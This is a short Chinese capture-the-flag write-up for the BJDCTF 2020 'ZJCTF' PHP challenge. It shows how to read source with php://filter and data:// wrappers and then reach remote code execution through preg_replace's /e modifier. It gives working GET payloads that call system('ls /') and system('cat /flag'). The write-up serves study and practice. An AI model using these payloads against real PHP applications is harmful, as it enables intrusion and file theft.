【BJDCTF 2020】ZJCTF,不过如此

Contents

[BJDCTF 2020]ZJCTF,不过如此

思路

  • 进入后是一个GET传参,利用php伪协议得到next.php内容
  • next.php是一个php的preg_replace /e 模式漏洞利用,执行RCE
  • 其中有一些部分需要绕过,最终执行命令得到flag

EXP

  • ?text=data://text/pain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
  • 得到next.php内容
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

其中的preg_replace /e 存在漏洞。

e模式下的preg_replace可以让第二个参数‘替换字符串’当作代码执行,但是这里第二个参数是不可变的。

但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序。

strtolower("\1")正好表达的就是匹配区的第一个(\1=\1),从而我们如果匹配可以,则可以将函数实现。 比如我们传入 ?.*={${phpinfo()}}

1
2
3
preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);		// 原句

preg_replace('/(' .* ')/ei','strtolower("\\1")',{${phpinfo()}});	// 输入后

又因为$_GET传入首字母是非法字符时候会把 .(点号)改成下划线,因此得将.换成\s

  • next.php 页面payload

    1
    2
    
    ?\S*=${getFlag()}&cmd=system('ls /');
    ?\S*=${getFlag()}&cmd=system('cat /flag');

总结

  • PHP伪协议
  • 正则绕过
0%